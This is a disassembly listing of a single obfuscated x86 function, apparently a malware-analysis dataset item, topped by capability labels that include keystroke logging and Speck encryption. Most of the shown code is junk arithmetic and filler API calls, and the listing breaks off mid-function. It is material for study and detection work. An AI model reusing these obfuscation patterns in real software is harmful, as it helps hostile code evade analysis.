Function at 0x10036f14
Capabilities:
Accept command line arguments
Create directory
Encrypt data using speck
Get common file path
Get disk information
Get thread local storage value
Identify system language via api
Log keystrokes
Read .ini file
Terminate process

Disassembly:
mov eax, 0x100641b3
call fcn.100631b0
sub esp, 0x9bc
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor ebx, ebx
push 3
mov dword [ebp - 0x2c], 0xc204e2db
pop edi
mov dword [ebp - 0x50], ebx
push 2
mov dword [ebp - 0x44], ebx
mov byte [ebp - 0x68], dl
mov dword [ebp - 0xdc], ecx
mov dword [ebp - 0x2c], 0x12
pop esi
cmp dword [ebp - 0x2c], 0xfffffff4
jne 0x10037010
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x44], 0xfffffffe
mov dword [ebp - 0x14], ebx
jmp 0x10036f7c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x508], 0x5db5a26c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10036f6b
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x50]
sub ecx, eax
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
setne dl
add edx, dword [ebp - 0x50]
jne 0x10036fb0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x500]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x500]
mov ecx, dword [ebp - 0x1c]
dec eax
neg eax
sbb eax, eax
neg eax
sub ecx, eax
mov eax, dword [ebp - 0x500]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
add ecx, eax
mov eax, dword [ebp - 0x50]
cmp ecx, eax
setge dl
add edx, dword [ebp - 0x50]
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x1c], ebx
jmp 0x10037003
mov dword [ebp - 0x44], 0xfffffff8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jle 0x10036ff9
dec dword [ebp - 0x2c]
jmp 0x10036f4f
xor ecx, ecx
inc ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x40], 0xe4a90611
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x5c], 0xa32f3f60
mov dword [ebp - 0x48], 0xdd013d0
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x24], 0x1355fff8
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x14], 0x706b
mov dword [ebp - 0x1c], ebx
jmp 0x10037062
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x9b8], 0xfffffff9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10037051
mov dword [ebp - 0x1c], ebx
jmp 0x1003707e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x104], 0x1f3813bf
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1003706d
mov eax, dword [ebp - 0x38]
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x40]
sub edx, eax
mov eax, dword [ebp - 0x104]
neg edx
push esi
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
xor eax, eax
cmp ecx, 0x6c93
setle al
sub eax, 0x33b8
neg eax
sbb eax, eax
inc eax
imul ecx, eax, 0x8160
neg ecx
sbb ecx, ecx
neg ecx
cmp dword [ebp - 0x3c], 0xfffe
sbb eax, eax
xor edx, edx
neg eax
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x104]
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x5c]
setge cl
add eax, 0x99ff
add ecx, eax
xor edx, edx
mov eax, dword [ebp - 0x54]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x3c]
setle cl
sub eax, ecx
lea ecx, [ebp - 0x3b4]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x40], eax
call fcn.10012e69
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x268]
mov dword [ebp - 0x44], edi
push esi
call fcn.10012e69
xor eax, eax
or ecx, 0xffffffff
inc eax
mov byte [ebp - 4], al
movdqa xmm0, xmmword [0x1000c030]
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0x764]
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x754]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x5f4]
mov dword [ebp - 0x3c], 0xca335c22
movdqu xmmword [ebp - 0x764], xmm0
call fcn.10012ec5
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x40], 9
mov dword [ebp - 0x44], 0xfffffffb
mov dword [ebp - 0x1c], ebx
jmp 0x100371a4
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3b4]
mov dword [eax + ecx*4], 0xc225
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10037191
mov dword [ebp - 0x1c], ebx
jmp 0x100371c1
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x268]
mov dword [eax + ecx*4], 0xcf8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x100371ae
mov esi, dword [ebp - 0x3b4]
xor ecx, ecx
cmp dword [esi], ecx
mov edx, dword [esi]
setne cl
xor eax, eax
cmp ecx, dword [esi]
setl al
xor ecx, ecx
cmp eax, dword [esi]
setne cl
imul ecx, dword [esi + 4]
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x44]
add eax, edx
neg eax
sbb eax, eax
xor ecx, ecx
neg eax
imul edx, eax
mov eax, dword [ebp - 0x268]
neg edx
cmp edx, dword [eax]
mov eax, dword [ebp - 0x38]
setl cl
imul eax, ecx
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov edi, dword [ebp - 0x5f4]
mov dword [edi + 0xc], eax
je 0x100372a1
mov eax, dword [ebp - 0x14]
dec dword [ebp - 0x14]
mov eax, dword [ebp - 0x268]
cmp dword [eax], ebx
jne 0x10037248
mov eax, dword [ebp - 0x3b4]
cmp dword [eax], ebx
jne 0x10037248
mov edx, ebx
jmp 0x1003724b
xor edx, edx
inc edx
mov eax, dword [ebp - 0x40]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x268]
setg cl
xor edx, edx
cmp ecx, 0x6ea1
setg dl
xor ecx, ecx
cmp edx, dword [eax + 4]
setge cl
imul eax, ecx, 0xa1fd
test eax, eax
jne 0x1003727b
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x40]
xor ecx, ecx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
cmp eax, dword [esi + 4]
setge cl
imul eax, ecx, 0xfffe
cmp eax, 0xfff8
je 0x100372a1
xor eax, eax
inc eax
jmp 0x100372a3
mov eax, ebx
lea ecx, [ebp - 0x5f4]
mov dword [edi + 0xc], eax
call fcn.10012eeb
lea ecx, [ebp - 0x268]
call fcn.10012eeb
or esi, 0xffffffff
lea ecx, [ebp - 0x3b4]
mov dword [ebp - 4], esi
call fcn.10012eeb
lea ecx, [ebp - 0x744]
mov dword [ebp - 0x2c], 0xc204e2db
push ecx
lea eax, [ebp - 0x734]
mov dword [ebp - 0x1c], 0x42c70bb7
push eax
xorps xmm0, xmm0
push ecx
lea ecx, [ebp - 0x520]
movdqu xmmword [ebp - 0x744], xmm0
call fcn.10012ec5
mov dword [ebp - 0x44], 0xfffffffe
mov dword [ebp - 0x38], 0xf0e26a25
mov dword [ebp - 0x1c], ebx
jmp 0x10037320
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1ac], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10037313
mov dword [ebp - 0x1c], ebx
jmp 0x1003733c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x3f8], 1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x1003732b
mov dword [ebp - 0x1c], ebx
jmp 0x10037354
mov dword [ebp - 0x44], 0x55e00fe1
inc dword [ebp - 0x44]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x10037347
mov dword [ebp - 0x1c], 2
cmp dword [ebp - 0x1c], ebx
jl 0x1003745d
mov dword [ebp - 0x3c], 0xb14151c8
mov dword [ebp - 0x3c], 0xfffffff8
mov dword [ebp - 0x14], ebx
jmp 0x1003738e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x7ac], 0xab6ce1a8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1003737d
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x1ac]
mov eax, dword [ebp - 0x520]
mov dword [eax], ecx
mov dword [ebp - 0x3f8], ecx
mov eax, dword [ebp - 0x1c]
cmp ecx, dword [ebp + eax*4 - 0x1ac]
jle 0x100373c5
cmp dword [ebp - 0x3f4], ebx
je 0x100373c5
xor eax, eax
inc eax
jmp 0x100373c7
mov eax, ebx
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], ebx
jne 0x100373db
cmp dword [ebp - 0x3f8], ebx
jne 0x100373db
mov eax, ebx
jmp 0x100373de
xor eax, eax
inc eax
mov dword [ebp - 0x7a4], eax
xor edx, edx
mov eax, dword [ebp - 0x3f8]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x1ac]
mov eax, dword [ebp - 0x1a8]
mov eax, dword [ebp - 0x1a4]
mov ecx, dword [ebp - 0x1a4]
mov eax, dword [ebp - 0x3f8]
cmp eax, ecx
setg dl
cmp edx, esi
je 0x10037421
cmp dword [ebp - 0x3c], ebx
je 0x10037421
xor eax, eax
inc eax
jmp 0x10037423
mov eax, ebx
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x520]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], ebx
jne 0x1003743d
mov edx, ebx
jmp 0x10037440
xor edx, edx
inc edx
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x1ac]
cmp edx, eax
setne cl
mov dword [ebp - 0x38], ecx
dec dword [ebp - 0x1c]
jns 0x1003736a
lea ecx, [ebp - 0x520]
call fcn.10012eeb
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x40], 0x4123
cmp dword [ebp - 0x40], 0x4262
jle 0x100374e4
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
mov ecx, ebx
mov dword [ebp - 0x14], ebx
mov edi, ebx
mov esi, ebx
mov eax, edi
cdq
idiv esi
or edx, ecx
lea ecx, [ebp - 0x7e8]
mov eax, edx
cdq
push edx
push eax
call fcn.1000d4be
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100374ab
mov eax, dword [eax]
push eax
call fcn.1004ded6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x7e8]
call fcn.10013450
mov ecx, dword [ebp - 0x14]
inc esi
cmp esi, 0x64c9
jl 0x1003748a
inc edi
cmp edi, 0xcd6
jl 0x10037488
inc ecx
mov dword [ebp - 0x14], ecx
cmp ecx, 0x1c34
jl 0x10037486
or esi, 0xffffffff
mov dword [ebp - 0x1c], esi
xor edx, edx
mov dword [ebp - 0x14], 0xfffffff8
inc edx
mov dword [ebp - 0x24], 0xfffffff6
push 9
pop edi
mov dword [ebp - 0x124], edi
mov dword [ebp - 0x120], edi
mov dword [ebp - 0x11c], edi
mov dword [ebp - 0x118], edi
mov dword [ebp - 0x44], 0xe69cd17
mov dword [ebp - 0x3c], 0xfffffff6
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x1c]
sub eax, 0xdffbe584
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
xor ecx, ecx
neg eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, 7
mov eax, edx
setne cl
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], ebx
jne 0x10037555
mov eax, ebx
cmp eax, dword [ebp - 0x1c]
jle 0x1003755f
cmp dword [ebp - 0x14], ebx
je 0x10037561
mov ebx, edx
mov eax, dword [ebp - 0x120]
xor ecx, ecx
cmp ebx, 0xb060
sete cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x1c]
setge cl
xor ebx, ebx
cmp ecx, eax
setle bl
sub ebx, dword [ebp - 0x120]
mov eax, dword [ebp - 0x11c]
neg ebx
sbb ebx, ebx
xor edx, edx
inc ebx
cmp ebx, eax
mov eax, dword [ebp - 0x1c]
setge dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x1c]
setg cl
cmp ecx, esi
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setne cl
xor edx, edx
mov dword [ebp - 0x44], ecx
mov ecx, 0x84ab
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x120]
mov eax, dword [ebp - 0x1c]
sub ecx, eax
mov eax, dword [ebp - 0x120]
cmp ecx, eax
mov eax, dword [ebp - 0x11c]
setle dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x3c]
setle bl
xor ecx, ecx
cmp ebx, eax
setle cl
xor ebx, ebx
mov dword [ebp - 0x38], ecx
cmp dword [ebp - 0x14], ebx
je 0x10037655
cmp dword [ebp - 0x1c], ebx
jne 0x10037645
cmp dword [ebp - 0x44], 0x1fdf
jne 0x1003761b
cmp dword [ebp - 0x3c], ebx
je 0x1003761b
xor ecx, ecx
inc ecx
jmp 0x1003761d
mov ecx, ebx
mov eax, dword [ebp - 0x1c]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
add ecx, dword [ebp - 0x120]
jne 0x1003763c
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x1c], ebx
jne 0x10037645
mov eax, ebx
jmp 0x10037648
xor eax, eax
inc eax
cmp eax, dword [ebp - 0x120]
je 0x10037655
xor ecx, ecx
inc ecx
jmp 0x10037657
mov ecx, ebx
xor eax, eax
cmp ecx, 0xfffffff8
sete al
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x40], 0x3dd9
jge 0x10037676
push 0x1000a4b4
call fcn.1004ded6
pop ecx
mov dword [ebp - 4], esi
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x580], 0xf112
mov dword [ebp - 0x57c], 0xf112
mov dword [ebp - 0x578], 0xf112
mov dword [ebp - 0x574], 0xf112
mov dword [ebp - 0x14], 0x2c29a3df
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], bl
je 0x100376bf
push ebx
push 0x1fc9
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [ebp - 0x14], 3
cmp dword [ebp - 0x14], ebx
jl 0x100376f3
mov dword [ebp - 0x2c], 0xfddd3f46
mov dword [ebp - 0x2c], ebx
jmp 0x100376e8
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x580], 0x1591
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 4
jl 0x100376d7
dec dword [ebp - 0x14]
jns 0x100376cb
mov dword [ebp - 0x2c], 0x12
cmp dword [ebp - 0x2c], 0xfffffff4
jne 0x100381e1
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x40], 0x4791
cmp dword [ebp - 0x40], 0x4a9b
jle 0x1003775b
mov esi, ebx
mov dword [ebp - 0x44], ebx
mov edi, esi
mov esi, 0x50f6
mov eax, edi
mov ecx, 0x1060cad8
cdq
push edx
push eax
call fcn.10012b14
dec edi
dec esi
jne 0x10037723
mov esi, dword [ebp - 0x44]
inc esi
mov dword [ebp - 0x44], esi
cmp esi, 0x4ad6
jl 0x1003771c
push ebx
push ebx
push 0x1814
push 0x506
push ebx
call dword [sym.imp.USER32.dll_ModifyMenuW]
or esi, 0xffffffff
mov dword [ebp - 4], 4
cmp dword [ebp - 0x40], 0x443a
jge 0x1003779b
mov edx, 0x1000a4e0
mov ecx, 0x1060cad8
call fcn.10015678
jmp 0x1003779b
mov dword [ebp - 4], esi
xor ecx, ecx
mov dword [ebp - 0x24], ebx
inc ecx
mov dword [ebp - 0x38], 0xb457102d
mov dword [ebp - 0x14], ebx
jmp 0x100377bd
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6ac], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x100377b0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], ebx
jg 0x10037873
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1003786b
mov dword [ebp - 0x44], 0x5072
cmp dword [ebp - 0x44], 0x5124
jle 0x10037844
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x830]
and eax, edi
cdq
push edx
push eax
call fcn.1000d4be
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10037811
mov eax, dword [eax]
push eax
call fcn.1004ded6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x830]
call fcn.10013450
inc esi
cmp esi, 0x5d7a
jl 0x100377f5
inc edi
cmp edi, 0x6c50
jl 0x100377f3
push ebx
push 0x2129
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push ebx
push 0x2227
push ebx
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
cmp dword [ebp - 0x44], 0x4e0e
jge 0x10037865
push 0x1000a568
call fcn.1004ded6
pop ecx
or esi, 0xffffffff
mov dword [ebp - 4], esi
inc dword [ebp - 0x24]
jmp 0x100377cb
mov dword [ebp - 0x3c], 3
lea ecx, [ebp - 0x60c]
mov dword [ebp - 0x18], 0x15252cb1
push 3
call fcn.10012e69
mov dword [ebp - 0x44], ebx
xor edi, edi
mov dword [ebp - 0x38], ebx
inc edi
mov dword [ebp - 0x38], 0x1ebc
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 3
jge 0x100378b6
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xf0], edi
inc dword [ebp - 0x1c]
jmp 0x100378a1
mov dword [ebp - 0x1c], ebx
jmp 0x100378ca
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x60c]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x100378bb
mov dword [ebp - 0x18], ebx
jmp 0x1003797c
mov dword [ebp - 0x4c], 0xd0336d06
mov dword [ebp - 0x40], 0x104353e
mov dword [ebp - 0x14], ebx
jmp 0x100378f8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6bc], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x100378eb
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0xf0], ebx
jne 0x1003794b
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xf0]
mov ecx, dword [ebp - 0x6b0]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf0], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xf0]
inc eax
cmp eax, edi
setl cl
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x6b0]
mov dword [ebp - 0x40], ebx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x6b8]
mov eax, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
neg ecx
mov dword [ebp + eax*4 - 0xf0], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jle 0x100378d8
lea ecx, [ebp - 0x60c]
call fcn.10012eeb
mov dword [ebp - 0x44], 0xfffffffe
mov dword [ebp - 0x50], 0xd16d
mov dword [ebp - 0x44], 0xb6968939
mov dword [ebp - 0x38], 0x6b6cd333
mov dword [ebp - 0x40], 0xd34caa8e
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x100379c4
push ebx
call dword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov esi, edi
cmp dword [ebp - 0x50], ebx
jne 0x100379cd
mov esi, ebx
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
inc ecx
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x50]
setg dl
xor ecx, ecx
neg esi
cmp edx, esi
setle cl
xor edx, edx
cmp ecx, eax
mov ecx, 0xfffb
setle dl
sub edx, 0xfc2da8af
neg edx
sbb edx, edx
inc edx
sub edx, dword [ebp - 0x50]
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x44]
cmp ecx, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x38], eax
je 0x10037a23
mov ecx, edi
cmp dword [ebp - 0x40], ebx
jne 0x10037a25
mov ecx, ebx
mov eax, dword [ebp - 0x50]
imul eax, ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x54], 0x29a6
cmp dword [ebp - 0x54], 0x2c1b
jle 0x10037aa9
mov ecx, ebx
mov dword [ebp - 0x3c], ebx
mov eax, ebx
mov dword [ebp - 0x40], ebx
mov edx, ecx
mov esi, ebx
mov ecx, eax
mov dword [ebp - 0x44], esi
shl edx, cl
mov dword [ebp - 0x38], edx
mov ecx, esi
mov edi, ebx
mov esi, edx
shl esi, cl
mov ecx, edi
mov eax, esi
sar eax, cl
mov ecx, 0x1060cad8
cdq
push edx
push eax
call fcn.10012b14
inc edi
cmp edi, 0x1f2a
jl 0x10037a5e
mov esi, dword [ebp - 0x44]
mov edx, dword [ebp - 0x38]
inc esi
mov dword [ebp - 0x44], esi
cmp esi, 0x4e3
jl 0x10037a56
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x40], eax
cmp eax, 0x524a
jl 0x10037a48
inc ecx
mov dword [ebp - 0x3c], ecx
cmp ecx, 0x216c
jl 0x10037a43
mov dword [ebp - 0x40], 0x637d
cmp dword [ebp - 0x40], 0x6631
jle 0x10037af8
push 0x16d7
push 0x215a
push ebx
call dword [sym.imp.GDI32.dll_OffsetRgn]
mov esi, ebx
mov dword [ebp - 0x44], ebx
mov edi, esi
mov esi, 0x36a1
mov eax, edi
mov ecx, 0x1060cad8
cdq
push edx
push eax
call fcn.10012b14
dec edi
dec esi
jne 0x10037ad6
mov esi, dword [ebp - 0x44]
inc esi
mov dword [ebp - 0x44], esi
cmp esi, 0x298a
jl 0x10037acf
mov dword [ebp - 4], 8
cmp dword [ebp - 0x40], 0x636d
jge 0x10037b35
mov edx, 0x1000a61c
mov ecx, 0x1060cad8
call fcn.10015678
jmp 0x10037b35
xor eax, eax
lea ecx, [ebp - 0x194]
inc eax
or esi, 0xffffffff
push eax
mov dword [ebp - 4], esi
call fcn.10012e69
mov dword [ebp - 0x58], 7
xor edx, edx
mov dword [ebp - 0x38], 0x81de9829
inc edx
mov dword [ebp - 0x14], ebx
jmp 0x10037b6f
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x194]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x10037b60
mov dword [ebp - 0x58], ebx
cmp dword [ebp - 0x58], ebx
jl 0x10037ccd
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x48], 0x9d38951f
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov edx, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x194]
mov eax, dword [ecx + eax*4]
cmp eax, dword [ecx + edx*4]
jne 0x10037bad
mov dword [ebp - 0x44], 1
cmp dword [ebp - 0x58], ebx
jne 0x10037bb0
mov dword [ebp - 0x44], ebx
mov eax, dword [ebp - 0x58]
xor ebx, ebx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x58]
mov edx, dword [ebp - 0x58]
mov esi, dword [ebp - 0x58]
mov edi, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x194]
mov dword [ebp - 0x38], edi
mov edi, dword [ebp - 0x44]
cmp edi, dword [ecx + eax*4]
mov eax, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x38]
setle bl
sub eax, dword [ecx + edx*4]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
imul ebx, eax
mov eax, dword [ebp - 0x194]
sub ebx, dword [eax + esi*4]
mov eax, dword [ebp - 0x58]
cmp ebx, eax
mov eax, dword [ebp - 0x194]
setne cl
xor ebx, ebx
cmp dword [eax + edi*4], ecx
jge 0x10037c10
cmp dword [eax], ebx
je 0x10037c10
xor ecx, ecx
inc ecx
jmp 0x10037c12
mov ecx, ebx
cmp ecx, dword [eax]
jle 0x10037c3e
mov dword [ebp - 0x1c], ebx
jmp 0x10037c34
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x10037c31
push 0x10d5
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x10037c1b
jmp 0x10037cc4
mov dword [ebp - 0x48], 0xb07d
mov dword [ebp - 0x48], 0x61ac7eb2
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x10037c61
push ebx
push 0x81f
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], ebx
jl 0x10037cc4
xor edx, edx
inc edx
mov dword [ebp - 0x18], 0x23b16aac
mov dword [ebp - 0x48], 0xd64de8cc
mov dword [ebp - 0x48], 0xfffffffe
mov dword [ebp - 0x48], 0xfcc86f80
mov dword [ebp - 0x18], ebx
jmp 0x10037c9c
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x194]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x10037c8d
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
jl 0x10037cbf
mov dword [ebp - 0x44], 0xfffffffd
mov dword [ebp - 0x38], 0xfffffff6
dec dword [ebp - 0x44]
dec dword [ebp - 0x18]
jns 0x10037ca9
dec dword [ebp - 0x1c]
jns 0x10037c6c
dec dword [ebp - 0x58]
jns 0x10037b80
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x10037ce9
push ebx
push ebx
push 0x2312
push 0x935
push ebx
call dword [sym.imp.USER32.dll_InsertMenuA]
lea ecx, [ebp - 0x194]
call fcn.10012eeb
mov dword [ebp - 4], 0xa
cmp dword [ebp - 0x54], 0x25f9
jge 0x10037d13
mov edx, 0x1000a5c8
mov ecx, 0x1060cad8
call fcn.10015678
or dword [ebp - 4], 0xffffffff
push 9
pop edi
mov dword [ebp - 0x14], ebx
jmp 0x10037d52
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x538], 0x5db5a26c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10037d41
mov eax, dword [ebp - 0x34]
xor edx, edx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x30]
sub ecx, eax
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x34]
cmp eax, ecx
setne dl
add edx, dword [ebp - 0x30]
jne 0x10037d87
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x530]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x530]
mov ecx, dword [ebp - 0x34]
dec eax
neg eax
push 2
sbb eax, eax
neg eax
sub ecx, eax
mov eax, dword [ebp - 0x530]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
add ecx, eax
mov eax, dword [ebp - 0x30]
cmp ecx, eax
lea ecx, [ebp - 0x550]
setge dl
add edx, dword [ebp - 0x30]
mov dword [ebp - 0x44], edx
call fcn.10012e69
xor esi, esi
mov dword [ebp - 4], 0xc
inc esi
lea ecx, [ebp - 0x65c]
